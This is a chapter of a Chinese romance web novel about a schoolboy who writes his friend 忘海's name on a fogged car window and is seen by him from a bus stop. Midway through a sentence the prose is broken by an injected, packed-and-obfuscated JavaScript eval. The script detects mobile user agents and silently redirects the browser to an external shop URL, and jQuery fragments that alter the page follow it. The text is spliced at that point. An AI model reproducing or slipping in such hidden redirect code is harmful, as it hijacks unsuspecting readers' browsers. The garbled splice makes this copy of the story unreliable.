周一下午，天色暗得比平时早。
不到四点半，云层已经压得很低。灰蒙蒙的天光从教室窗户里透进来，照在苌斓的习题册上，字迹都显得有些模糊。他抬头看了一眼窗外。梧桐树的枝丫在风里摇晃，叶子又落了一层。深秋的天气越来越冷，也越来越不讲道理。早上还是晴天，下午就变了脸。
最后一节课是自习。班主任不在，教室里窸窸窣窣的声音此起彼伏。苌斓把习题册翻到最后一页，又翻回来。他的笔尖在纸上停了一会儿，然后写下一行公式，划掉，重新写。同桌在旁邊低声背单词，声音像蚊子嗡嗡。他本来应该专心做题。下周就是期中考试了。但他的注意力总是不自觉地飘向窗外。
下雨了。
第一滴雨落在窗玻璃上的时候，几乎听不到声音。然后是第二滴，第三滴。很快，雨丝就密密地斜织下来，在玻璃上拖出长长的水痕。教室里有人小声说“下雨了”，有人翻书包找伞，有人叹气说没带。苌斓把手伸进书包侧袋，摸到了早上母亲塞进去的折叠伞。然后他继续低头做题，假装没有注意到窗外的雨。
放学铃响的时候，雨已经下得很大了。学生们撑着伞涌出校门，花花绿绿的伞面在梧桐道上挤成一团。苌斓在教学楼门口撑开伞，走进了雨幕。走到校门口的时候，他习惯性地往梧桐树的方向看了一眼。树下空荡荡的。没有人撑着一把深蓝色的伞站在那里。
他收回目光。然后想起今天是周一。他早上在路口把保温杯递给忘海的时候，忘海说过，今天下午要去医院看牙。请了最后一节课的假。所以不会在校门口等他。苌斓把伞压低了一点，继续往前走。
走到校门外的公交站附近时，他的脚步慢了下来。一辆深灰色的轿车停在路边，打着双闪。车是新的，车漆在雨里闪着湿润的光。驾驶座的车窗摇下来，露出父亲的脸。他穿着深色外套，眼镜上沾了几滴雨珠，看到苌斓，微微点了点头。
“上车吧，”父亲说，“今天雨大，你妈让我来接你。”
苌斓愣了一下。这是第一次。父亲从来不来学校接他。不是不上心，是苌斓自己说过不用。从家到学校的路不远，他走了十几年，早就习惯了。但父亲还是来了。没有提前发消息，没有问他同不同意，只是把车停在路边，打着双闪，等着他放学。
苌斓合上伞，拉开车门坐进后排。后座上放着一个塑料袋，里面是一把备用的折叠伞，还有一包纸巾。副驾驶座上放着母亲的外套。副驾驶的门把手旁边，贴着一张便签条，上面是母亲的字迹——“接到小斓了吗？路上小心，雨大。”
“你妈本来也要来，”父亲发动车子，声音依旧平稳，“但她怕自己话太多，影响你放学的心情。就在家做饭了。”
苌斓看着那张便签条，喉结微微滚动了一下。他没有说话，只是把书包放在旁边的座位上，然后靠进座椅里。车内的暖风开着，温度刚好。雨滴打在车顶上，发出闷闷的声响，和伞面上的声音完全不同。车载音响里放着很轻的音乐，是一首老歌，苌斓不知道名字，但旋律很熟悉，好像在某个很远的过去听過。
车子缓缓驶出校门口的拥堵路段，拐上了主路。雨刷在前挡风玻璃上左右摆动，把雨水刮开又聚拢。苌斓靠在座椅上，看着车窗外的街景。行人撑着伞匆匆走过，店铺的霓虹灯在雨幕里模糊成一片彩色的光晕。等红灯的时候，父亲透过后视镜看了他一眼。
“今天在学校怎么样。”
“还行。”
“豆浆喝了吗。”
苌斓微微顿了一下。父亲从来不问豆浆的事。每天早上他把保温杯递过来，父亲只是稳稳地接过去，倒好豆浆，拧紧盖子，放回他书包侧袋。一个字都不多说。“……喝了。今天是红枣的。”
“他说红枣补气血。天冷了。”
苌斓低下头，手指无意识地在膝盖上蜷了一下。又是“他”。父亲和忘海之间好像建立了一种他没有参与的联系。他不知道他们上次在客厅聊了什么，只知道父亲从那以后，每次提到忘海，语气都和提到别人不一样。不是客套，不是礼貌。是一种很淡的、不动声色的认可。
车子继续往前开。雨越下越大，车窗外的世界变成一片模糊的水彩。苌斓侧过头，看着车窗玻璃。车内暖风开着，车外冷雨不停，温差让玻璃上渐渐蒙了一层薄薄的雾气。先是从边缘开始，然后慢慢往中间蔓延。很快，整面车窗就变成了一片朦胧的灰白，窗外的街灯和车灯都化成了模糊的光团。
他盯着那层雾气看了一会儿。然后鬼使神差地抬起手，用指尖在雾气上画了一横。
他不知道自己在写什么。手指在玻璃上慢慢移动，一横，一竖，一横折，一横。写完之后他才意识到自己写了什么。忘。他的指尖在玻璃上停住了。那个字孤零零地浮在雾气里，笔画歪歪扭扭，边角被指尖的温度化开，水珠顺着竖弯钩往下淌，像是也在流泪。
他迅速把手收回来，放在膝盖上。心脏砰砰跳得很快，他不敢看后视镜，怕父亲看到他的表情。然后他做了一件更蠢的事。他又抬起手，在那个字的旁边写了一个“海”字。三点水，右边的每一笔都写得很慢，慢到像是在描红。第一个点，第二个点，提，撇，横，竖，横折，横，点，横，竖，点。每一笔都认认真真，每一个转折都小心翼翼，像是在完成一件非常重要的作品。
车窗上，两个歪歪扭扭的字并排浮在雾气里。忘。海。
他盯着这两个字看了片刻。然后忽然意识到自己在做什么。他在父亲的车里，在等红灯的间隙，在起雾的车窗上，写下了那个人的名字。全名。是“望海”。是他每天都在写、每天都在念、每天都在保温杯上摸到的那两个字。他把他的名字写在了雾气上，写在了一个随时会消失的地方。雾气会散，字迹会化，水珠会淌下来，把笔画模糊成一片。但此刻这两个字就在那里，清清楚楚，无处遁形。
他的耳根烧得通红。迅速抬起手，想把那两个字擦掉。掌心刚要碰到玻璃的时候，红灯变成了绿灯。车子启动了。他的身体因为惯性微微往后仰了一下，手掌没有擦到玻璃。然后他看见了车窗外的那个人。
忘海站在公交站台上。
他撑着一把深蓝色的伞，围巾还是那条深灰色，垂到腰间。他刚从公交车上下来，手里提着一个小袋子，大概是看完牙医从医院带回来的药。他站在站台上，正要撑开伞往另一个方向走。然后他的目光扫过来。不是刻意的，是恰好。在等红灯转绿的那个瞬间，在苌斓的手指从起雾的车窗上滑下来的那个瞬间。隔着雨幕，隔着车窗上的雾，隔着两个世界——车内暖黄安静，车外湿冷喧闹——忘海的视线落在苌斓的车窗上。落在那两个还没被擦掉的字上。忘。海。
苌斓的手僵在半空中。他看见忘海站在公交站台上，撑着伞，手里的袋子差点滑下去。看见他偏了偏头，眯起眼睛，盯着那两个被雨水冲刷得微微变形的字，像是在确认自己是不是看错了。看见他的嘴唇微微张开，又合上。看见他的眼神从困惑变成意外，从意外变成某种更深的东西。那是忘海看他的眼神，但比以往任何一次都更深。深得像那双浅冰蓝色的眼睛里盛着整个海，而现在那个海面上，清清楚楚地倒映着两个字。他自己的名字。
苌斓的大脑一片空白。他猛地把手掌按在车窗上，飞快地把那两个字擦掉。雾气被抹成一片模糊的灰白，水珠顺着他的掌印往下淌，像一道小小的瀑布。然后他把手收回来，攥成拳头放在膝盖上，低下头。耳根红得透亮，脖子根都是红的。
绿灯亮了。车子平稳地驶过路口。公交车站在身后越来越远。苌斓没有回头。他不敢回头。他不敢看忘海是不是还站在站台上，不敢看他是不是还在朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724374|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这辆车的方向望。他只知道，那两个字被看见了。他写下的那两个字，被那个人看见了。在起雾的车窗上，在雨天的街角，在没有保温杯的下午，他把自己的心思写在了雾气上，然后被风吹散了，被雨冲走了，被另一个当事人看见了。
车内很安静。音乐还在播，还是那首老歌。父亲的视线始终落在前方的路面上，没有说话。苌斓不知道父亲有没有从后视镜里看到他刚才的小动作。也许看到了，也许没有。他不敢确定。他只是把攥紧的拳头塞进口袋里，指尖碰到了那颗画着笑脸的花生。壳上的笑脸被他的体温捂得温热。
车子在家门口停下。雨还在下，但比刚才小了一些。父亲熄了火，解开安全带。他没有立刻下车，而是透过后视镜看了苌斓一眼。
“车窗起雾了，”他的语气和平常一样平稳，“下车前记得擦一下。不然明天车里会有霉味。”
苌斓的手指在膝盖上蜷了一下。他不知道父亲这句话是什么意思。是真的只是在说车里的味道，还是在说别的什么。他只是嗯了一声，拉开车门，撑开伞，快步走进了楼道。
回到家里，他把伞放在玄关，换了鞋，把书包放在沙发上。母亲从厨房探出头，和往常一样说回来啦。今天做了红烧排骨。他应了一声，走进房间，关上门。然后他靠在门上，闭上眼睛，长长地呼出一口气。心跳还是很快。他走到书桌前，坐下来，把脸埋进手臂里。手臂很凉，脸很烫。
手机在口袋里震了一下。他没有看。又震了一下。他缓缓把手机掏出来，放在桌上。屏幕上躺着两条消息。发件人只有一个字。
“到家了吗。”
“下雨了，路上小心。”
苌斓盯着这两条消息。都是普通的问候，和平时一样。没有提到车窗，没有提到雾气，没有提到那两个字。他不知道自己该松一口气还是该更紧张。他打了两个字——“到了”，又加了三个字——“你也是”。
对面沉默了片刻。然后一条新消息跳出来。
“刚才在公交站，看到一辆车。车里的人很像你。”
苌斓的呼吸停了半拍。没有立刻回。对方又发了一条。
“车窗起雾了。看不清。”
他盯着“看不清”这三个字。看清了。还是没看清。他的心跳快得发疼，拇指悬在屏幕上方，不知道该按哪个键。然后他又发来一条。
“车窗上有水珠。可能是雨太大了。”
苌斓把手机翻过去，屏幕朝下扣在桌上。然后把脸埋进手臂里，耳根烫得能煎蛋。他没有回复那条消息。但在过了很久很久之后，他翻过手机，发了一个字。
“……哦。”
忘海的回复很快。还是那个小人靠在墙边的表情，旁边没有红心。但在表情后面跟了一句话。
“雨停了。明天早上，路口见。”
苌斓看着这句话。雨停了。明天早上。路口见。他忽然明白，忘海不会问了。不管他看清了没有，不管他认出了那两个歪歪扭扭的笔画没有，他都不会问。他会把这件事放在心里，像口袋里那颗核桃、那张纸条、那颗奶糖、那颗花生一样。好好收着，不声张，不追问。
苌斓把手机放在枕头旁边，躺下来。窗外雨已经停了，梧桐叶上的水珠在路灯下闪着细碎的光。他闭上眼睛。
忘海站在公交站台上的画面又浮现在眼前。那双眼睛隔着雨幕望过来，隔着雾气，隔着他还没来得及擦掉的那两个字。他想，忘海会不会在某个瞬间弯了一下嘴角。会不会把那个画面也收进了他的口袋里。和核桃、纸条、奶糖、花生放在一起。放在最安全的地方，谁也不会发现。
苌斓翻了个身，把被子拉到下巴。然后在黑暗里极轻极轻地弯了一下嘴角。
明天早上，保温杯里会是什么味道。红枣的。忘海说，红枣补气血。天冷了。